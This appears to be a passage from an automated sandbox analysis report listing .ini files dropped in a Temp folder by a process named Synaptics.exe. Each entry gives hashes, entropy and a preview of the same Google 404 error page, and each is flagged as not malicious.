Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4AoucGiPA2cG5pbEsvgJeA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\llqi3eO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258252463737999
Encrypted:	false
SSDEEP:	24:GgsF+0C5mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+r5m+pAZewRDK4mW
MD5:	4564AE8D12007091144BE898D7538424
SHA1:	BFF647B72D0EC86B1A1B7C24FBB313217B0FF25A
SHA-256:	7DD274540C6034A4B47BAB2E2ED722986688416652BFF1097C964BF6E4913420
SHA-512:	9EF096EF150914EB8AC01AD4EFABDE2FB2A14DF3E828AA29B5354B449C2E0C2FE030EFB6267B62B842C091976D91C81C1B535EF1D31D5CA3934C8ABCEEB875DD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4vFYJYfScH70vllwzt7V2g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\m3AuJvz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268957016780924
Encrypted:	false
SSDEEP:	24:GgsF+0dtPzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+U+pAZewRDK4mW
MD5:	893819091447BCDBFE5E96EFC46D2B43
SHA1:	453B1B562ECC3A79D1E88D1B8B9859EA47D0DC3E
SHA-256:	84CE2A08AB320C6052AC726A4B318DBD6FE09DC676DF35DDEDEEEC9E7641654A
SHA-512:	BB4E84B42F6BBCAECE96D9799675740A0108C90EF1E22596635A558A461E7C2FB378AB3C3D8226C348B61E7D0463DA6F01EECC40C8DD2FA3D7DFE716E546C881
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ol8NfGICO7dPBq7wDUVdqw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\m8KaIH7.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259284182269842
Encrypted:	false
SSDEEP:	24:GgsF+0Tm3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+im3+pAZewRDK4mW
MD5:	5CF4565889173326D64369036FAB30B3
SHA1:	7B5ECD8323E2746DD2ECEE2CF5E21A04D57611EC
SHA-256:	A05F9CC1738306B2DD39AE53F254D96AD785076915AA4658F0F79832EEFE659B
SHA-512:	6CA2FE28CA834607F20E67FB177222DB62F0F9465D04CF50CC5CA5D4B35964FDB59DD2BB26CB04007CF051FE0FFA0665412E1B32916D3A6A971EE697701C17AE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KfxhfftbOORiucs_WENMAw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mZipSBi.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265325417656658
Encrypted:	false
SSDEEP:	24:GgsF+0Y5qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1U+pAZewRDK4mW
MD5:	031AAE00D10F3C7C8C20E0AB736624D8
SHA1:	B53927A8F471E27CEC00F3324ED840387D9009EC
SHA-256:	0451AC2FC17002449B98ADA3B04A7E246C037FE4F558C81AEAD8845C2CCAF063
SHA-512:	B471BDE2CC01DC7F7EE373295AEEF9D502775AFB9F3EA21A5350F35D49F84548978B8AF1E3058256E7F4FAA540DFCF5C6D36490F3FB19501224CF8A754AA7C35
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wXVI4LrJJy-2hSmqKLwfPg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nU5XqBk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266370404062745
Encrypted:	false
SSDEEP:	24:GgsF+0soXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bK+pAZewRDK4mW
MD5:	C1B7A518D6E3150E905FFE26D5169843
SHA1:	C7C5689EB5E03E73F6DAB2DB07C930B2D1144941
SHA-256:	F1BA5D21B0C96174E6CAB24EC18F727052E9799B611B5FBBED1B98DD2021C6AC
SHA-512:	5BCA7E9E400070100119148BC0E792233688FF2634A362C84BE43357481F5586BC1867860464DE4F6F034DA6C7DECC23A33048B6A59DF9F89122335968DB6832
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xGEUIgDM6usAVg68IDg-4w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nxLiPLX.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270517497517003
Encrypted:	false
SSDEEP:	24:GgsF+0ASU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	1F8FF16BAB8F0BDA414290F912FFA4A6
SHA1:	20DF4C72E7533AD6DB7F20F848E69D16ABEF756B
SHA-256:	4D5689C8C4EF82F9487633BAF824517B463A1F0859C0F96D5BD78AB4F58ED012
SHA-512:	4A3E898D639CD5576E12702BBBE1EABEF09F03648C08974A814BA8DB8DC52228576CDD9C34E2240E874A8EC8E396B168AFA34AA53CFCACC350951E0A1904625D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KUUEbxoHpCcD_VazMnONGA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pmGNOvk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258226981272581
Encrypted:	false
SSDEEP:	24:GgsF+0kmSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7m+pAZewRDK4mW
MD5:	8F70A402ED58271C80A695F7D1D8741C
SHA1:	0EEB82D1FD0286588DD262507143D7FDD6BA2DA8
SHA-256:	647F967EE98AD0CC48C3C45D37765066DED2657B1C4FB04F8E4C57E5D84D03E9
SHA-512:	580563D4EC24FC62C306D2CDBEBB3B067EC3A6270DED41121022E44A3445930196805C80B8FDB117BEE81610AAAEFC6852F675E34EABBF7219AE49E26A3B057F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ni-UhuZc-lk86-QF2j_gFA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\r6MwybR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266222295371733
Encrypted:	false
SSDEEP:	24:GgsF+0BzmSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++zm+pAZewRDK4mW
MD5:	8D0D894FB1313C1E05527F1AF39C3872
SHA1:	D3CD37C44AE701FA24F332EF560D463E3C51F9ED
SHA-256:	13FFFFCD0393E3D226F90C399E69F7A2416117BCB2A4BD1491A18683942174B2
SHA-512:	909EE770A4EB5AEEF88DBCD500F644B7024EAAE4DC042E26C53D3B64DDB21462DCA16FAF38E6BBF9344F5C36ADFFD5B584D9CA50E9DCF321942DD31DA6951D4E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6PyAFtka3wNky6CVgS-31A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\r8WSJm9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267515032110277
Encrypted:	false
SSDEEP:	24:GgsF+0tSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	93F0851830A5FC4409C222CE9A9B706D
SHA1:	DACCA406624D2E7DBFD07EA5C3FE6467C648F12F
SHA-256:	FAE3E6680F032257D1C8E3C4FD10595EFED8FE6290265B3FB529CF097602C70E
SHA-512:	FA5C4B85E42EB55F7A51A3A73450ECCEE857F8AD3D4D569D6AC707A2017626A81585E448D6BF12C8BE53FA69822B5821A004A1E2F85673B6323490C37C116C60
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lFRjPAiUzEsB2ITjcz90oA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rGEn6RI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258812593120336
Encrypted:	false
SSDEEP:	24:GgsF+0DvbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	6FF73EF048EBC5F49C6F0CF447A69619
SHA1:	A44AEB519C94ECE7D419FFD0E897C491F5146529
SHA-256:	DF5B38FFCB2CA5DCFA44EE2566D8E00919D5EA94D1A8B56D060E311257E2A523
SHA-512:	083F0286EAEDC1879373ABB1899AAAC32B7ACC78A9EC86103F513D6F1A31D13BC3A141EBB1D39D6058F61C9C964AA897E1CFDD5A6714627AE57F4FE2C9E94FFC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0N_1dRiGx0G7AYIxE2hXAg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rQE1GkL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2514298226658855
Encrypted:	false
SSDEEP:	24:GgsF+0SSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	E700A15EA31418823AA12468522DC089
SHA1:	888571B49E42E5B0283C18604C7D45F1816BF283
SHA-256:	49B0065D84C084D1797D77D04C351738F2DE78D908FFC8E9BEFE023D58B508E8
SHA-512:	1FA79A5E27EE6DF3C60C978EE950787596554E63AD12E7E1D7CC1198C487C669801AE7FCBEF8508CC1D2579F1A35B621D6C44CCC10EC55F80B4B8FBD3582F83E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kpgLr1Aytg4afXM588aSeQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\vH5TQmn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264356951630417
Encrypted:	false
SSDEEP:	24:GgsF+0p5DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w9+pAZewRDK4mW
MD5:	694C8292E4751277610A49E2B43FC098
SHA1:	25780A8FEDA152B993D17359A0050C80142DCB38
SHA-256:	447636F5A0E5C25ACBD240B616B6F015516EE7211855D42DB85D7ADA3B9B775D
SHA-512:	64F098A941CB15C3EF4FC9F8CCB9DCAD8F0044CD17038E3A4B366DDCDD289F0FD22B4A71C5710BD5A0CC87E5A68AD910E02667CFD42CA56B17833F0BFB681847
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="L2s3yoTH2UwnTP3yqCEL4A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\vdpQX4O.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272900361038389
Encrypted:	false
SSDEEP:	24:GgsF+06SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p+pAZewRDK4mW
MD5:	D5D8AFF98B100368BEDC262628F7C828
SHA1:	9065C6990827BB32C0E580C58B41A57ACEC5C08A
SHA-256:	90D366BFEDCFEE86E02FF0293CE1EDBE32DBC8D59A478785BE8C4AE0D0D0F96F
SHA-512:	900E49B56F8EFB202955CCC55D2629160261ED772C9C6A4155B0C24DC50F146C4F23FF9C76DAA83327A61E4C78908D7B861CD1EB7421258314B694EDCF856A7E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HgQmV8ty3DUNRa5BOF3MiA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\x4dFKOW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.246829803243631
Encrypted:	false
SSDEEP:	24:GgsF+0NqISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+sX+pAZewRDK4mW
MD5:	3EBF2D6554F8B7CE578C7A5C638D5276
SHA1:	9B03828A69077EAAA09CD8AC6D18C655EF9E12F7
SHA-256:	1F3D642D4794BA3748C733D52689B4FD3771ADCABD8CE3D36B5FDBB360440D6E
SHA-512:	68EAEEB2DA5DC17E51701A0DC9B69A62D8E8B5DB0E64085AD110F76747D463A1E503D4FBF9710387329A26AA08A91D5E29CFB8C7F237F79C868EE977D18BA966
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Id1ipI3e4hlnRR19sEytDw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\y7xZMaW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267643230863063
Encrypted:	false
SSDEEP:	24:GgsF+04zqSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	4A84E873FE67712C7AF1E2F2183C97D5
SHA1:	10175DA29A64093CED6021A2E820E59B80A006EE
SHA-256:	3F8CB4B3CD8D0EDA71B207B52F7BD899B044376A18317AB82D5337E4DB46D1C2
SHA-512:	3433AF79F256DA313541299F9539D4A43E630C88999E7960C2E62B03FA58B1DB8158176F755A48BA2A47AD2151A289021DBFE801C7D6D714B427C59B6C468029
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Eu17ovNzOo_C9cYNGhRESQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ykJqU9E.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260209211574574
Encrypted:	false
SSDEEP:	24:GgsF+0XmSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Em+pAZewRDK4mW
MD5:	F702DADFEEF7F774B718AF2847CFEC18
SHA1:	3999FDBF9D5E1482F3221836272F6127B8279B99
SHA-256:	542EB2E77D4E2959F9C32F4D320C048CB9DCC1ACBCE787AE50F82C2057B2D5FF
SHA-512:	5176EE73099210CF9E2C9CD6C376E38E56E3383A18DFF326A94190656D3CEB4335C08AAB9D20AA199DCC59359606B7AF6274CF53748AEC1AA38F2D14993B0FD5
Malicious:	false
